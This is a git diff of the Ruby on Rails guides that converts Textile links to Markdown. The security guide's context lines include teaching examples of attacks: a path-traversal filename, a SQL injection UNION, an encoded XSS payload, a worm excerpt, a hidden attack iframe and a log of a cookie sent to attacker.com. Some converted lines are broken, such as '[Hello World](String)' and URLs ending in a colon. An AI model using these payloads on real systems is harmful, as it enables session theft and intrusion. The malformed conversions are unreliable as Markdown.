<ide> ------------
<ide>
<ide> ### Rails Plugins and Gems
<ide>
<del>* "Rails Analyzer":http://rails-analyzer.rubyforge.org
<del>* "Palmist":http://www.flyingmachinestudios.com/programming/announcing-palmist
<del>* "Rails Footnotes":https://github.com/josevalim/rails-footnotes/tree/master
<del>* "Query Reviewer":https://github.com/dsboulder/query_reviewer/tree/master
<del>* "MiniProfiler":http://www.miniprofiler.com
<add>* [Rails Analyzer](http://rails-analyzer.rubyforge.org)
<add>* [Palmist](http://www.flyingmachinestudios.com/programming/announcing-palmist)
<add>* [Rails Footnotes](https://github.com/josevalim/rails-footnotes/tree/master)
<add>* [Query Reviewer](https://github.com/dsboulder/query_reviewer/tree/master)
<add>* [MiniProfiler](http://www.miniprofiler.com)
<ide>
<ide> ### Generic Tools
<ide>
<del>* "httperf":http://www.hpl.hp.com/research/linux/httperf/
<del>* "ab":http://httpd.apache.org/docs/2.2/programs/ab.html
<del>* "JMeter":http://jakarta.apache.org/jmeter/
<del>* "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html
<add>* [httperf](http://www.hpl.hp.com/research/linux/httperf/)
<add>* [ab](http://httpd.apache.org/docs/2.2/programs/ab.html)
<add>* [JMeter](http://jakarta.apache.org/jmeter/)
<add>* [kcachegrind](http://kcachegrind.sourceforge.net/html/Home.html)
<ide>
<ide> ### Tutorials and Documentation
<ide>
<del>* "ruby-prof API Documentation":http://ruby-prof.rubyforge.org
<del>* "Request Profiling Railscast":http://railscasts.com/episodes/98-request-profiling - Outdated, but useful for understanding call graphs.
<add>* [ruby-prof API Documentation](http://ruby-prof.rubyforge.org)
<add>* [Request Profiling Railscast](http://railscasts.com/episodes/98-request-profiling) - Outdated, but useful for understanding call graphs.
<ide>
<ide> Commercial Products
<ide> -------------------
<ide>
<ide> Rails has been lucky to have a few companies dedicated to Rails-specific
<ide> performance tools. A couple of those are:
<ide>
<del>* "New Relic":http://www.newrelic.com
<del>* "Scout":http://scoutapp.com
<add>* [New Relic](http://www.newrelic.com)
<add>* [Scout](http://scoutapp.com)
<ide><path>guides/source/plugins.md
<ide> Run `rake` to run the test. This test should fail because we haven't implemented
<ide> ```bash
<ide> 1) Error:
<ide> test_to_squawk_prepends_the_word_squawk(CoreExtTest):
<del> NoMethodError: undefined method `to_squawk' for "Hello World":String
<add> NoMethodError: undefined method `to_squawk' for [Hello World](String)
<ide> test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
<ide> ```
<ide>
<ide> Generators
<ide> ----------
<ide>
<ide> Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about
<del>the creation of generators can be found in the "Generators Guide":generators.html
<add>the creation of generators can be found in the [Generators Guide](generators.html)
<ide>
<ide> Publishing your Gem
<ide> -------------------
<ide> gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git'
<ide>
<ide> After running `bundle install`, your gem functionality will be available to the application.
<ide>
<del>When the gem is ready to be shared as a formal release, it can be published to "RubyGems":http://www.rubygems.org.
<del>For more information about publishing gems to RubyGems, see: "Creating and Publishing Your First Ruby Gem":http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html
<add>When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org).
<add>For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html)
<ide>
<ide> RDoc Documentation
<ide> ------------------
<ide> $ rake rdoc
<ide>
<ide> ### References
<ide>
<del>* "Developing a RubyGem using Bundler":https://github.com/radar/guides/blob/master/gem-development.md
<del>* "Using .gemspecs as Intended":http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/
<del>* "Gemspec Reference":http://docs.rubygems.org/read/chapter/20
<del>* "GemPlugins: A Brief Introduction to the Future of Rails Plugins":http://www.intridea.com/blog/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins
<add>* [Developing a RubyGem using Bundler](https://github.com/radar/guides/blob/master/gem-development.md)
<add>* [Using .gemspecs as Intended](http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/)
<add>* [Gemspec Reference](http://docs.rubygems.org/read/chapter/20)
<add>* [GemPlugins: A Brief Introduction to the Future of Rails Plugins](http://www.intridea.com/blog/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins)
<ide><path>guides/source/rails_on_rack.md
<ide> Introduction to Rack
<ide>
<ide> bq. Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
<ide>
<del>- "Rack API Documentation":http://rack.rubyforge.org/doc/
<add>- [Rack API Documentation](http://rack.rubyforge.org/doc/)
<ide>
<del>Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the "Resources":#resources section below.
<add>Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the [Resources](#resources) section below.
<ide>
<ide> Rails on Rack
<ide> -------------
<ide> use ActionDispatch::BestStandardsSupport
<ide> run ApplicationName::Application.routes
<ide> ```
<ide>
<del>Purpose of each of this middlewares is explained in the "Internal Middlewares":#internal-middleware-stack section.
<add>Purpose of each of this middlewares is explained in the [Internal Middlewares](#internal-middleware-stack) section.
<ide>
<ide> ### Configuring Middleware Stack
<ide>
<ide> Resources
<ide>
<ide> ### Learning Rack
<ide>
<del>* "Official Rack Website":http://rack.github.com
<del>* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html
<del>* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/ruby-on-rack-1-hello-rack
<del>* "Ruby on Rack #2 - The Builder":http://m.onkey.org/ruby-on-rack-2-the-builder
<add>* [Official Rack Website](http://rack.github.com)
<add>* [Introducing Rack](http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html)
<add>* [Ruby on Rack #1 - Hello Rack!](http://m.onkey.org/ruby-on-rack-1-hello-rack)
<add>* [Ruby on Rack #2 - The Builder](http://m.onkey.org/ruby-on-rack-2-the-builder)
<ide>
<ide> ### Understanding Middlewares
<ide>
<del>* "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware
<add>* [Railscast on Rack Middlewares](http://railscasts.com/episodes/151-rack-middleware)
<ide><path>guides/source/routing.md
<ide> Deeply-nested resources quickly become cumbersome. In this case, for example, th
<ide> /publishers/1/magazines/2/photos/3
<ide> ```
<ide>
<del>The corresponding route helper would be `publisher_magazine_photo_url`, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular "article":http://weblog.jamisbuck.org/2007/2/5/nesting-resources by Jamis Buck proposes a rule of thumb for good Rails design:
<add>The corresponding route helper would be `publisher_magazine_photo_url`, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular [article](http://weblog.jamisbuck.org/2007/2/5/nesting-resources) by Jamis Buck proposes a rule of thumb for good Rails design:
<ide>
<ide> TIP: _Resources should never be nested more than 1 level deep._
<ide>
<ide> TIP: You'll find that the output from `rake routes` is much more readable if you
<ide>
<ide> ### Testing Routes
<ide>
<del>Routes should be included in your testing strategy (just like the rest of your application). Rails offers three "built-in assertions":http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html designed to make testing routes simpler:
<add>Routes should be included in your testing strategy (just like the rest of your application). Rails offers three [built-in assertions](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html) designed to make testing routes simpler:
<ide>
<ide> * `assert_generates`
<ide> * `assert_recognizes`
<ide><path>guides/source/ruby_on_rails_guides_guidelines.md
<ide> This guide documents guidelines for writing Ruby on Rails Guides. This guide fol
<ide> Textile
<ide> -------
<ide>
<del>Guides are written in "Textile":http://www.textism.com/tools/textile/. There is comprehensive "documentation":http://redcloth.org/hobix.com/textile/ and a "cheatsheet":http://redcloth.org/hobix.com/textile/quick.html for markup.
<add>Guides are written in [Textile](http://www.textism.com/tools/textile/). There is comprehensive [documentation](http://redcloth.org/hobix.com/textile/) and a [cheatsheet](http://redcloth.org/hobix.com/textile/quick.html) for markup.
<ide>
<ide> Prologue
<ide> --------
<ide>
<del>Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. See for example the "Routing Guide":routing.html.
<add>Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. See for example the [Routing Guide](routing.html).
<ide>
<ide> Titles
<ide> ------
<ide> Use the same typography as in regular text:
<ide> API Documentation Guidelines
<ide> ----------------------------
<ide>
<del>The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the "API Documentation Guidelines":api_documentation_guidelines.html:
<add>The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html:)
<ide>
<del>* "Wording":api_documentation_guidelines.html#wording
<del>* "Example Code":api_documentation_guidelines.html#example-code
<del>* "Filenames":api_documentation_guidelines.html#filenames
<del>* "Fonts":api_documentation_guidelines.html#fonts
<add>* [Wording](api_documentation_guidelines.html#wording)
<add>* [Example Code](api_documentation_guidelines.html#example-code)
<add>* [Filenames](api_documentation_guidelines.html#filenames)
<add>* [Fonts](api_documentation_guidelines.html#fonts)
<ide>
<ide> Those guidelines apply also to guides.
<ide>
<ide><path>guides/source/security.md
<ide> config.force_ssl = true
<ide>
<ide> * Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
<ide>
<del>The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the "Symantec Global Internet Security Threat Report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf.
<add>The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
<ide>
<ide> ### Session Guidelines
<ide>
<ide> NOTE: _Make sure file uploads don't overwrite important files, and process media
<ide>
<ide> Many web applications allow users to upload files. _(highlight)File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
<ide>
<del>When filtering user input file names, _(highlight)don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _(highlight)checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the "attachment_fu plugin":https://github.com/technoweenie/attachment_fu/tree/master:
<add>When filtering user input file names, _(highlight)don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _(highlight)checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master:)
<ide>
<ide> ```ruby
<ide> def sanitize_filename(filename)
<ide> Refer to the Injection section for countermeasures against XSS. It is _(highligh
<ide>
<ide> *CSRF* Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
<ide>
<del>A real-world example is a "router reconfiguration by CSRF":http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
<add>A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
<ide>
<ide> Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
<ide>
<ide> User Management
<ide>
<ide> NOTE: _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
<ide>
<del>There are a number of authentication plug-ins for Rails available. Good ones, such as the popular "devise":https://github.com/plataformatec/devise and "authlogic":https://github.com/binarylogic/authlogic, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features.
<add>There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features.
<ide>
<ide> Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
<ide>
<ide> If the parameter was nil, the resulting SQL query will be
<ide> SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
<ide> ```
<ide>
<del>And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
<add>And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
<ide>
<ide> ### Brute-Forcing Accounts
<ide>
<ide> However, the attacker may also take over the account by changing the e-mail addr
<ide>
<ide> #### Other
<ide>
<del>Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in "Google Mail":http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _(highlight)review your application logic and eliminate all XSS and CSRF vulnerabilities_.
<add>Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _(highlight)review your application logic and eliminate all XSS and CSRF vulnerabilities_.
<ide>
<ide> ### CAPTCHAs
<ide>
<ide> INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._
<ide>
<del>But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is "reCAPTCHA":http://recaptcha.net/ which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. "ReCAPTCHA":http://ambethia.com/recaptcha/ is also a Rails plug-in with the same name as the API.
<add>But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](http://ambethia.com/recaptcha/) is also a Rails plug-in with the same name as the API.
<ide>
<ide> You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
<ide> The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
<ide> Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
<ide>
<ide> The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
<ide>
<del>You can find more sophisticated negative CAPTCHAs in Ned Batchelder's "blog post":http://nedbatchelder.com/text/stopbots.html:
<add>You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html:)
<ide>
<ide> * Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
<ide> * Randomize the field names
<ide> config.filter_parameters << :password
<ide>
<ide> INFO: _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
<ide>
<del>Bruce Schneier, a security technologist, "has analyzed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
<add>Bruce Schneier, a security technologist, [has analyzed](http://www.schneier.com/blog/archives/2006/12/realworld_passw.html) 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
<ide>
<ide> password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
<ide>
<ide> SELECT * FROM projects WHERE (name = '') UNION
<ide>
<ide> The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
<ide>
<del>Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails "to at least 2.1.1":http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/.
<add>Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails [to at least 2.1.1](http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/).
<ide>
<ide> #### Countermeasures
<ide>
<ide> INFO: _The most widespread, and one of the most devastating security vulnerabili
<ide>
<ide> An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
<ide>
<del>The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the "Live HTTP Headers Firefox plugin":http://livehttpheaders.mozdev.org/, or client-site proxies make it easy to change requests.
<add>The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests.
<ide>
<ide> XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
<ide>
<del>During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The "Symantec Global Internet Security threat report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf also documented 239 browser plug-in vulnerabilities in the last six months of 2007. "Mpack":http://pandalabs.pandasecurity.com/mpack-uncovered/ is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.
<add>During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The [Symantec Global Internet Security threat report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf) also documented 239 browser plug-in vulnerabilities in the last six months of 2007. [Mpack](http://pandalabs.pandasecurity.com/mpack-uncovered/) is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.
<ide>
<del>A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to "Trend Micro":http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/.
<add>A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to [Trend Micro](http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/).
<ide>
<ide> #### HTML/JavaScript Injection
<ide>
<ide> The log files on www.attacker.com will read like this:
<ide> GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
<ide> ```
<ide>
<del>You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though.
<add>You can mitigate these attacks (in the obvious way) by adding the [httpOnly](http://dev.rubyonrails.org/ticket/8895) flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/), though.
<ide>
<ide> ##### Defacement
<ide>
<ide> With web page defacement an attacker can do a lot of things, for example, presen
<ide> <iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
<ide> ```
<ide>
<del>This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
<add>This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
<ide>
<ide> A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
<ide>
<ide> s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
<ide>
<ide> This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
<ide>
<del>As a second step, _(highlight)it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _(highlight)Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (`&amp;`, `&quot;`, `&lt`;, and `&gt;`). However, it can easily happen that the programmer forgets to use it, so <em class="highlight">it is recommended to use the "SafeErb":http://safe-erb.rubyforge.org/svn/plugins/safe_erb/ plugin</em>. SafeErb reminds you to escape strings from external sources.
<add>As a second step, _(highlight)it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _(highlight)Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (`&amp;`, `&quot;`, `&lt`;, and `&gt;`). However, it can easily happen that the programmer forgets to use it, so <em class=[highlight">it is recommended to use the "SafeErb](http://safe-erb.rubyforge.org/svn/plugins/safe_erb/) plugin</em>. SafeErb reminds you to escape strings from external sources.
<ide>
<ide> ##### Obfuscation and Encoding Injection
<ide>
<ide> Network traffic is mostly based on the limited Western alphabet, so new characte
<ide> &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<ide> ```
<ide>
<del>This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":https://hackvertor.co.uk/public. Rails' sanitize() method does a good job to fend off encoding attacks.
<add>This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks.
<ide>
<ide> #### Examples from the Underground
<ide>
<ide> _In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
<ide>
<del>The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1 Yahoo! Mail "worm":http://groovin.net/stuff/yammer.txt. It appeared on June 11, 2006 and was the first webmail interface worm:
<add>The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1) Yahoo! Mail [worm](http://groovin.net/stuff/yammer.txt). It appeared on June 11, 2006 and was the first webmail interface worm:
<ide>
<ide> ```html
<ide> <img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
<ide> The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/sec
<ide>
<ide> The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
<ide>
<del>Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on "Rosario Valotta's paper":http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
<add>Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
<ide>
<del>In December 2006, 34,000 actual user names and passwords were stolen in a "MySpace phishing attack":http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
<add>In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
<ide>
<ide> The MySpace Samy worm will be discussed in the CSS Injection section.
<ide>
<ide> ### CSS Injection
<ide>
<ide> INFO: _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
<ide>
<del>CSS Injection is explained best by a well-known worm, the "MySpace Samy worm":http://namb.la/popular/tech.html. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
<add>CSS Injection is explained best by a well-known worm, the [MySpace Samy worm](http://namb.la/popular/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
<ide>
